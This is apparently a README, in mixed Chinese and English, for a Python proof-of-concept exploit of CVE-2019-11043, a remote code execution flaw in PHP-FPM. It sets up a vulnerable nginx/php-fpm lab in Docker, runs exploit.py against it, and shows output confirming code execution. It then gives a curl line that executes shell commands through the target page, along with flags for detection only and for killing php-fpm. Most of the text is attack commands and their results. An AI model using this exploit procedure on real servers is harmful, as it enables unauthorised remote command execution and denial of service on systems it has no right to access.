
(PoC) Python version of CVE-2019-11043 exploit by neex
CVE-2019-11043 漏洞利用的 Python 版本 https://github.com/neex/phuip-fpizdam
此概念验证仍为草案,请使用由 @neex 编写的利用工具
漏洞分析:https://paper.seebug.org/1064/
运行 docker compose 启动 nginx 和 php-fpm:
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
如果你想查看 php-fpm 日志,可执行:
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
如果只想检测漏洞而不进行利用:
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
你可以尝试使用 --reset 杀掉 php-fpm 进程并重置所有注入的 PHP 设置:
python3 exploit.py --url http://localhost/index.php --reset
https://twitter.com/Menin_TheMiddle/status/1188776386569355265